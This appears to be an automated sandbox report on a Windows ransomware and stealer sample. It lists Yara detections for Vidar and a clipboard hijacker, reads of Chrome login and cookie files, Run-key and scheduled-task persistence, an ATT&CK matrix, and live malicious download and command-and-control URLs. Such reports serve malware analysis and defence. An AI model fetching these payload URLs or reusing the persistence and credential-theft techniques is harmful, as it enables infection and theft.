Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	5_2_05DE3F87
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	5_2_05DE49EA
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,	5_2_05DE394D
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: ___crtGetLocaleInfoA,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,__invoke_watson,	5_2_05DDC8B7
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	5_2_05DF0AB6
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	6_2_05EF3F87
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	6_2_05EF49EA
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,	6_2_05EF394D
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Code function: ___crtGetLocaleInfoA,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,__invoke_watson,	6_2_05EEC8B7
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	6_2_05F00AB6

Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\R5391762lf.exe

Code function: 0_2_00409DFB GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00409DFB

Source: C:\Users\user\Desktop\R5391762lf.exe

2_2_00419F90

Source: C:\Users\user\Desktop\R5391762lf.exe

Code function: 2_2_0042FE47 __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

2_2_0042FE47

Source: C:\Users\user\Desktop\R5391762lf.exe

2_2_00419F90

Source: C:\Users\user\Desktop\R5391762lf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected Clipboard Hijacker

Source: Yara match	File source: 16.2.build3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.mstsca.exe.9215a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.mstsca.exe.9615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.build3.exe.8515a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.build3.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.mstsca.exe.9615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.mstsca.exe.8615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001E.00000002.2677102464.0000000000860000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3833462867.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2059366101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2676356915.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1620588181.0000000000850000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.3281999346.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1703198337.0000000000960000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2060305239.0000000000920000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.1620958954.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3283314593.0000000000960000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Vidar stealer

Source: Yara match	File source: 9.2.build2.exe.1ba15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.build2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.build2.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.build2.exe.1ba15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.1502638549.0000000001BA0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1672621226.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Remote Access Functionality

Yara detected Vidar stealer

Source: Yara match	File source: 9.2.build2.exe.1ba15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.build2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.build2.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.build2.exe.1ba15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.1502638549.0000000001BA0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1672621226.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	2 System Time Discovery	1 Taint Shared Content	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	2 Data Encrypted for Impact
Credentials	Domains	Default Accounts	2 Native API	1 Scheduled Task/Job	1 DLL Side-Loading	2 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	3 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	211 Process Injection	2 Software Packing	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	1 Services File Permissions Weakness	1 Scheduled Task/Job	1 DLL Side-Loading	NTDS	44 System Information Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Registry Run Keys / Startup Folder	1 Masquerading	LSA Secrets	151 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Services File Permissions Weakness	21 Virtualization/Sandbox Evasion	Cached Domain Credentials	21 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	211 Process Injection	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Services File Permissions Weakness	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
R5391762lf.exe	100%	Avira	HEUR/AGEN.1313019
R5391762lf.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	100%	Avira	HEUR/AGEN.1313019
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\build3[1].exe	100%	Avira	TR/AD.MalwareCrypter.llbpm
C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	100%	Avira	TR/AD.MalwareCrypter.llbpm
C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\build3[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\build3[1].exe	87%	ReversingLabs	Win32.Trojan.Azorult
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\sqln[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	47%	ReversingLabs	Win32.Backdoor.Mokes
C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	87%	ReversingLabs	Win32.Trojan.Azorult

Source	Detection	Scanner	Label
http://cajgtus.com/test1/get.php?pid=3630DD81AC10B7EC98F7204E360B9D7E	0%	Avira URL Cloud	safe
http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	0%	Avira URL Cloud	safe
http://cajgtus.com/test1/get.php	0%	Avira URL Cloud	safe
http://cajgtus.com/files/1/build3.exe.K5.(	0%	Avira URL Cloud	safe
https://95.217.9.149/sqln.dll	0%	Avira URL Cloud	safe
https://95.217.9.149/	0%	Avira URL Cloud	safe
http://cajgtus.com/files/1/build3.exe	100%	Avira URL Cloud	malware
http://cajgtus.com/test1/get.php?pid=3630DD81AC10B7EC98F7204E360B9D7E&first=true	0%	Avira URL Cloud	safe
http://sdfjhuz.com/dl/build2.exe	100%	Avira URL Cloud	malware
http://cajgtus.com/files/1/build3.exe0K	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
sdfjhuz.com	186.13.17.220	true	true	unknown
cajgtus.com	186.145.236.18	true	true	unknown
steamcommunity.com	23.66.133.162	true	false	high
api.2ip.ua	172.67.139.220	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://cajgtus.com/test1/get.php?pid=3630DD81AC10B7EC98F7204E360B9D7E	true	Avira URL Cloud: safe	unknown
http://cajgtus.com/test1/get.php	true	Avira URL Cloud: safe	unknown
https://steamcommunity.com/profiles/76561199673019888	false		high
https://api.2ip.ua/geo.json	false		high
http://cajgtus.com/test1/get.php?pid=3630DD81AC10B7EC98F7204E360B9D7E&first=true	true	Avira URL Cloud: safe	unknown
https://95.217.9.149/sqln.dll	false	Avira URL Cloud: safe	unknown
http://sdfjhuz.com/dl/build2.exe	true	Avira URL Cloud: malware	unknown
http://cajgtus.com/files/1/build3.exe	true	Avira URL Cloud: malware	unknown
https://95.217.9.149/	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.nytimes.com/	R5391762lf.exe, 00000007.00000003.1484368248.00000000097E0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://assets.activity.windows.com/v1/assets	R5391762lf.exe, 00000007.00000003.1503507490.00000000097E0000.00000004.00001000.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1486532071.00000000097E0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/react-native-community/react-native-netinfo	R5391762lf.exe, 00000007.00000003.1491084288.00000000097E0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://api.2ip.ua/	R5391762lf.exe, 00000002.00000003.1391033574.00000000006A0000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000002.00000002.1397540119.000000000069C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://artifacts.dev.azure.com/office/_apis/symbol/symsrv/privacy-sdx.win32.bundle.js.map/e3b0c4429	R5391762lf.exe, 00000007.00000003.1490848962.00000000097E0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsonn	R5391762lf.exe, 00000002.00000002.1397540119.0000000000638000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.twitter.com/	R5391762lf.exe, 00000007.00000003.1484423673.00000000097E0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://clients3.google.com/generate_204	R5391762lf.exe, 00000007.00000003.1491084288.00000000097E0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://cajgtus.com/files/1/build3.exe.K5.(	R5391762lf.exe, 00000007.00000003.2068237141.000000000312E000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2101155549.000000000312E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.openssl.org/support/faq.html	R5391762lf.exe, 00000006.00000002.1411124880.0000000005EC0000.00000040.00001000.00020000.00000000.sdmp	false		high
https://api.2ip.ua/eQ	R5391762lf.exe, 00000002.00000003.1391033574.00000000006A0000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000002.00000002.1397540119.000000000069C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	R5391762lf.exe, 00000000.00000002.1374077836.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, R5391762lf.exe, 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, R5391762lf.exe, 00000005.00000002.1405257408.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, R5391762lf.exe, 00000006.00000002.1411124880.0000000005EC0000.00000040.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://cajgtus.com/files/1/build3.exe0K	R5391762lf.exe, 00000007.00000003.2068237141.000000000312E000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2101155549.000000000312E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.activity.windows.com	R5391762lf.exe, 00000007.00000003.1503507490.00000000097E0000.00000004.00001000.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1486532071.00000000097E0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://activity.windows.com	R5391762lf.exe, 00000007.00000003.1503507490.00000000097E0000.00000004.00001000.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1486532071.00000000097E0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://assets.activity.windows.com/v1/assets/$batch	R5391762lf.exe, 00000007.00000003.1503507490.00000000097E0000.00000004.00001000.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1486532071.00000000097E0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.google.com/	R5391762lf.exe, 00000007.00000003.1484310948.00000000097E0000.00000004.00001000.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
186.145.236.18	cajgtus.com	Colombia	14080	TelmexColombiaSACO	true
172.67.139.220	api.2ip.ua	United States	13335	CLOUDFLARENETUS	false
95.217.9.149	unknown	Germany	24940	HETZNER-ASDE	false
186.13.17.220	sdfjhuz.com	Argentina	11664	TechtelLMDSComunicacionesInteractivasSAAR	true
23.66.133.162	steamcommunity.com	United States	16625	AKAMAI-ASUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1431221
Start date and time:	2024-04-24 17:36:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 52s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	35
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	R5391762lf.exe renamed because original name is a hash value
Original Sample Name:	4f8fb134c680d0e05861a34827751834.exe
Detection:	MAL
Classification:	mal100.rans.spre.troj.spyw.evad.winEXE@45/1390@9/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 95% Number of executed functions: 28 Number of non-executed functions: 184
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, fe3cr.delivery.mp.microsoft.com
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadFile calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
VT rate limit hit for: R5391762lf.exe

Simulations

Behavior and APIs

Time	Type	Description
17:37:03	Task Scheduler	Run new task: Time Trigger Task path: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe s>--Task
17:37:07	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe" --AutoStart
17:37:11	API Interceptor	1x Sleep call for process: R5391762lf.exe modified
17:37:18	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe" --AutoStart
17:37:24	API Interceptor	1x Sleep call for process: build2.exe modified
17:37:26	Task Scheduler	Run new task: Azure-Update-Task path: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
17:38:09	API Interceptor	6056142x Sleep call for process: mstsca.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
186.145.236.18	file.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse
172.67.139.220	Z4CYGTBlj7.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	rq0mVjR9ar.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse
	3CB27VUHRg.exe	Get hash	malicious	Babuk, Djvu	Browse
	JfOWsh7v0r.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	AaIo4VGgvO.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	8xFzJWrEIa.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Vidar	Browse
	MdeeRbWvqe.exe	Get hash	malicious	LummaC, Babuk, Djvu, LummaC Stealer, RedLine, SmokeLoader	Browse
	SecuriteInfo.com.W32.Kryptik.GYGF.tr.12827.18803.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, SmokeLoader, Vidar	Browse
	Grkradw6vd.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
95.217.9.149	sIQywRNC5M.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	qJKiVKZdFk.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse
	Z4CYGTBlj7.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	SUwX12D2S6.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	file.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse
	rq0mVjR9ar.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse
	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	JfOWsh7v0r.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
186.13.17.220	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	sdfjhuz.com/dl/build2.exe
	woM8Z8CFYx.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Mars Stealer, SmokeLoader, Socks5Systemz, Stealc	Browse	nidoe.org/tmp/index.php
	b7Fmeszrv6.exe	Get hash	malicious	Babuk, Djvu	Browse	sajdfue.com/test2/get.php?pid=F8AFCDC4E800A3319FFB343E83099637
	file.exe	Get hash	malicious	LummaC, Babuk, Djvu, LummaC Stealer, Mars Stealer, PureLog Stealer, SmokeLoader	Browse	sdfjhuz.com/dl/build2.exe
	Oni0XhPXyF.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, Glupteba, LummaC Stealer, PureLog Stealer	Browse	sajdfue.com/files/1/build3.exe
	1ZlcamL3hE.exe	Get hash	malicious	LummaC, SmokeLoader	Browse	kamsmad.com/tmp/index.php
